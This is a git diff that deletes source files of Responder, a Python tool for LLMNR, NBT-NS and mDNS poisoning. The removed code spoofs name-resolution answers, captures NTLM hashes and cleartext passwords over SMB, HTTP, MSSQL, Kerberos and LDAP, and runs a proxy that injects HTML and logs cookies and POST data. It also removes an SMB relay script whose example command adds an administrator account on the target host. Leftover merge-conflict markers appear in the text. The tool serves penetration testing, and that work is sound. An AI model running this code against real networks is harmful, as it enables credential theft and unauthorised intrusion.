errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x02\xff\x00\x27\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - pass #no need to print errors.. - -#SMB Server class, old version. -class SMB1LM(BaseRequestHandler): - - def handle(self): - try: - self.request.settimeout(0.5) - data = self.request.recv(1024) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - if Is_LMNT_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseLMNTHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - self.request.close() - pass - - -################################################################################## -#Kerberos Server -################################################################################## -def ParseMSKerbv5TCP(Data): - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack(' 60: - DomainLen = struct.unpack('>>>>>> parent of cd9a16d... fixed Responder plugin output - WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr) - logging.warning('[+]MSSQL PlainText Password captured from :%s'%(client)) - logging.warning('[+]MSSQL Username: %s Password: %s'%(UserName, PwdStr)) - - -def ParsePreLoginEncValue(Data): - PacketLen = struct.unpack('>H',Data[2:4])[0] - EncryptionValue = Data[PacketLen-7:PacketLen-6] - if re.search("NTLMSSP",Data): - return True - else: - return False - -#MS-SQL server class. -class MSSQL(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(0.1) - ##Pre-Login Message - if data[0] == "\x12": - buffer0 = str(MSSQLPreLoginAnswer()) - self.request.send(buffer0) - data = self.request.recv(1024) - ##NegoSSP - if data[0] == "\x10": - if re.search("NTLMSSP",data): - t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - t.calculate() - buffer1 = str(t) - self.request.send(buffer1) - data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - ##NegoSSP Auth - if data[0] == "\x11": - ParseSQLHash(data,self.client_address[0]) - except Exception: - pass - self.request.close() - -################################################################################## -#LLMNR Stuff -################################################################################## - -#LLMNR Answer packet. -class LLMNRAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x00"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionNameLen", "\x09"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerNameLen", "\x09"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] - self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] - -def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name - -def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] =="\x1c": - return False - if data[len(data)-4:len(data)] == "\x00\x01\x00\x01": - return True - if data[len(data)-4:len(data)] == "\x00\xff\x00\x01": - return True - else: - return False - -def IsOnTheSameSubnet(ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - -def IsICMPRedirectPlausible(IP): - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - for x in dnsip: - if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print "[Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (%s) is not on the same subnet than the DNS server (%s). Use python Icmp-Redirect.py for more details."%(IP, x) - else: - pass - -def FindLocalIP(Iface): - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') - s.connect(("127.0.0.1",9))#RFC 863 - return s.getsockname()[0] - -def AnalyzeICMPRedirect(): - if Analyze(AnalyzeMode) and OURIP is not None and INTERFACE == 'Not set': - IsICMPRedirectPlausible(OURIP) - if Analyze(AnalyzeMode) and INTERFACE != 'Not set': - IsICMPRedirectPlausible(FindLocalIP(INTERFACE)) - -# LLMNR Server class. -class LLMNR(BaseRequestHandler): - - def handle(self): - data, soc = self.request - try: - if data[2:4] == "\x00\x00": - if Parse_IPV6_Addr(data): - Name = Parse_LLMNR_Name(data) - if Analyze(AnalyzeMode): - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,Finger[0],Finger[1]) - logger3.warning(Message) - except Exception: - Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) - logger3.warning(Message) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - else: - Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - logger3.warning(Message) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if RespondToSpecificHost(RespondTo): - if Analyze(AnalyzeMode) == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - #DnsCache.getInstance().setCustomRes(Name.lower()) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - #DnsCache.getInstance().setCustomRes(Name.lower()) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - - if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - #DnsCache.getInstance().setCustomRes(Name.lower()) - buff.calculate() - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - for x in range(1): - soc.sendto(str(buff), self.client_address) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - #DnsCache.getInstance().setCustomRes(Name.lower()) - buff.calculate() - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - for x in range(1): - soc.sendto(str(buff), self.client_address) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass - else: - pass - except: - raise - -################################################################################## -#DNS Stuff -################################################################################## -def ParseDNSType(data): - QueryTypeClass = data[len(data)-4:] - if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. - return True - else: - return False - -#DNS Answer packet. -class DNSAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x10"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerPointer", "\xc0\x0c"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) - self.fields["IP"] = inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -# DNS Server class. -class DNS(BaseRequestHandler): - - def handle(self): - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - soc.sendto(str(buff), self.client_address) - print "DNS Answer sent to: %s "%(self.client_address[0]) - logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) - -class DNSTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - self.request.send(str(buff)) - print "DNS Answer sent to: %s "%(self.client_address[0]) - logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) - - except Exception: - pass - - -################################################################################## -#MDNS Stuff -################################################################################## -class MDNSAns(Packet): - fields = OrderedDict([ - ("Tid", "\x00\x00"), - ("Flags", "\x84\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -def Parse_MDNS_Name(data): - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ - -def Poisoned_MDNS_Name(data): - data = data[12:] - Name = data[:len(data)-5] - return Name - -class MDNS(BaseRequestHandler): - - def handle(self): - MADDR = "224.0.0.251" - MPORT = 5353 - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - try: - if Analyze(AnalyzeMode): - if Parse_IPV6_Addr(data): - print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) - - if RespondToSpecificHost(RespondTo): - if Analyze(AnalyzeMode) == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if Parse_IPV6_Addr(data): - print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - - if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: - if Parse_IPV6_Addr(data): - print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - else: - pass - except Exception: - raise - -################################################################################## -#HTTP Stuff -################################################################################## -from HTTPPackets import * -from HTTPProxy import * - -#Parse NTLMv1/v2 hash. -def ParseHTTPHash(data,client): - LMhashLen = struct.unpack(' 24: - NthashLen = 64 - DomainLen = struct.unpack('2: - PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) - print PostData - logging.warning(PostData) - -#Handle HTTP packet sequence. -def PacketSequence(data,client): - Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) - BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) - - if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): - File = config.get('HTTP Server', 'ExecFilename') - buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) - buffer1.calculate() - return str(buffer1) - - if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): - if IsExecutable(FILENAME): - buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) - buffer1.calculate() - return str(buffer1) - else: - buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) - buffer1.calculate() - return str(buffer1) - - if Ntlm: - packetNtlm = b64decode(''.join(Ntlm))[8:9] - if packetNtlm == "\x01": - GrabURL(data,client) - GrabCookie(data,client) - r = NTLM_Challenge(ServerChallenge=Challenge) - r.calculate() - t = IIS_NTLM_Challenge_Ans() - t.calculate(str(r)) - buffer1 = str(t) - return buffer1 - if packetNtlm == "\x03": - NTLM_Auth= b64decode(''.join(Ntlm)) - ParseHTTPHash(NTLM_Auth,client) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - logging.warning(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) - buffer1.calculate() - return str(buffer1) - - if BasicAuth: - GrabCookie(data,client) - GrabURL(data,client) - outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") - if PrintData(outfile,b64decode(''.join(BasicAuth))): - print "[+]HTTP-User & Password:", b64decode(''.join(BasicAuth)) - WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) - logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - logging.warning(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) - buffer1.calculate() - return str(buffer1) - - else: - return str(Basic_Ntlm(Basic)) - -#HTTP Server Class -class HTTP(BaseRequestHandler): - - def handle(self): - try: - while True: - self.request.settimeout(1) - data = self.request.recv(8092) - buff = WpadCustom(data,self.client_address[0]) - if buff and WpadForcedAuth(Force_WPAD_Auth) == False: - Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) - if Verbose: - print Message - logging.warning(Message) - self.request.send(buff) - else: - buffer0 = PacketSequence(data,self.client_address[0]) - self.request.send(buffer0) - except Exception: - pass#No need to be verbose.. - - -################################################################################## -#HTTP Proxy Stuff -################################################################################## -def HandleGzip(Headers, Content, Payload): - if len(Content) > 5: - try: - unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS) - except: - return False - InjectPayload = Payload - Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) - HasHTML = re.findall('(?<=1: - try: - Headers, Content = data.split('\r\n\r\n') - except: - return data - RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] - if [s for s in RedirectCodes if s in Headers]: - return data - if "Content-Encoding: gzip" in Headers: - Gzip = HandleGzip(Headers,Content, Payload) - if Gzip: - return Gzip - else: - return data - if "content-type: text/html" in Headers.lower(): - Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) - HasHTML = re.findall('(?<== 0: - host_port = netloc[:i], int(netloc[i+1:]) - else: - host_port = netloc, 80 - try: soc.connect(host_port) - except socket.error, arg: - try: msg = arg[1] - except: msg = arg - self.send_error(404, msg) - return 0 - return 1 - - def do_CONNECT(self): - soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - try: - if self._connect_to(self.path, soc): - self.wfile.write(self.protocol_version + - " 200 Connection established\r\n") - self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) - self.wfile.write("\r\n") - try: - self._read_write(soc, 300) - except: - pass - finally: - soc.close() - self.connection.close() - - def do_GET(self): - (scm, netloc, path, params, query, fragment) = urlparse.urlparse( - self.path, 'http') - if scm not in ('http') or fragment or not netloc: - self.send_error(400, "bad url %s" % self.path) - return - soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - try: - if scm == 'http': - if self._connect_to(netloc, soc): - soc.send("%s %s %s\r\n" % (self.command, - urlparse.urlunparse(('', '', path, - params, query, - '')), - self.request_version)) - if "Cookie" in self.headers: - Cookie = self.headers['Cookie'] - else: - Cookie = '' - Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\n"%(self.path, Cookie, self.client_address[0]) - if Verbose == True: - print Message - OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") - WriteData(OutFile,Message, Message) - self.headers['Connection'] = 'close' - del self.headers['Proxy-Connection'] - for key_val in self.headers.items(): - soc.send("%s: %s\r\n" % key_val) - soc.send("\r\n") - try: - self._read_write(soc, netloc) - except: - pass - - finally: - soc.close() - self.connection.close() - - def _read_write(self, soc, netloc='', max_idling=30): - iw = [self.connection, soc] - ow = [] - count = 0 - while 1: - count += 1 - (ins, _, exs) = select.select(iw, ow, iw, 1) - if exs: - break - if ins: - for i in ins: - if i is soc: - out = self.connection - try: - if len(HTMLToServe)>5: - data = InjectData(i.recv(8192)) - if InjectPage(i.recv(8192),self.client_address[0]): - data = InjectPage(i.recv(8192),self.client_address[0]) - else: - data = i.recv(8192) - except: - pass - else: - out = soc - data = i.recv(8192) - if self.command == "POST": - Message = "POST data was: %s\n"%(data) - if Verbose == True: - print Message - OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") - WriteData(OutFile,Message, Message) - if data: - try: - out.send(data) - count = 0 - except: - pass - if count == max_idling: - break - return None - - - do_HEAD = do_GET - do_POST = do_GET - do_PUT = do_GET - do_DELETE=do_GET - - -################################################################################## -#HTTPS Server -################################################################################## -from OpenSSL import SSL -#Parse NTLMv1/v2 hash. -def ParseHTTPSHash(data,client): - LMhashLen = struct.unpack(' 24: - print "[+]HTTPS NTLMv2 hash captured from :",client - logging.warning('[+]HTTPS NTLMv2 hash captured from :%s'%(client)) - NthashLen = 64 - DomainLen = struct.unpack(' 10: - LMhashOffset = struct.unpack('i',data[2:6])[0] - MessageSequence = struct.unpack('i',data[11:15])[0] - LDAPVersion = struct.unpack(' 0: - time.sleep(1) - except KeyboardInterrupt: - exit() \ No newline at end of file diff --git a/libs/responder/SMBPackets.py b/libs/responder/SMBPackets.py deleted file mode 100644 index a1d3fcb..0000000 --- a/libs/responder/SMBPackets.py +++ /dev/null @@ -1,475 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#Calculate total SMB packet len. -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - - -################################################################################## -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) -################################################################################## -#SMB Negotiate Answer LM packet. -class SMBNegoAnsLM(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x41\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfc\x3e\x01\x00"), - ("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), - ("Srvtimezone", "\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", ""), - ("Domain", "SMB"), - ("DomainNull", "\x00\x00"), - ("Server", "SMB-TOOLKIT"), - ("ServerNull", "\x00\x00"), - ]) - - def calculate(self): - ##Convert first.. - self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') - self.fields["Server"] = self.fields["Server"].encode('utf-16le') - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) - self.fields["Bcc"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) - - ###### Andxoffset calculation. - CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen - - self.fields["Andxoffset"] = struct.pack(". -import sys, os, struct,re,socket,random, RelayPackets,optparse,thread -from FingerprintRelay import RunSmbFinger -from odict import OrderedDict -from socket import * -from RelayPackets import * - -def UserCallBack(op, value, dmy, parser): - args=[] - for arg in parser.rargs: - if arg[0] != "-": - args.append(arg) - if getattr(parser.values, op.dest): - args.extend(getattr(parser.values, op.dest)) - setattr(parser.values, op.dest, args) - -parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", - prog=sys.argv[0], - ) -parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") - -parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD') - -parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") - -parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain") - -parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay") - -options, args = parser.parse_args() - -if options.CMD is None: - print "\n-c mandatory option is missing, please provide a command to execute on the target.\n" - parser.print_help() - exit(-1) - -if options.TARGET is None: - print "\n-t mandatory option is missing, please provide a target.\n" - parser.print_help() - exit(-1) - -if options.UserToRelay is None: - print "\n-u mandatory option is missing, please provide a username to relay.\n" - parser.print_help() - exit(-1) - -ResponderPATH = os.path.dirname(__file__) -# Set some vars. -UserToRelay = options.UserToRelay -Domain = options.Domain -Command = options.CMD -Target = options.TARGET -OURIP = options.OURIP - -print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com" -print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' -print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#Logger -import logging -Logs = logging -Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG) - -#Function used to verify if a previous auth attempt was made. -def ReadData(outfile,Client, User, cmd=None): - try: - with open(ResponderPATH+outfile,"r") as filestr: - if cmd == None: - String = Client+':'+User - if re.search(String.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return True - else: - return False - if cmd != None: - String = Client+","+User+","+cmd - if re.search(String.encode('hex'), filestr.read().encode('hex')): - filestr.close() - print "[+] Command: %s was previously 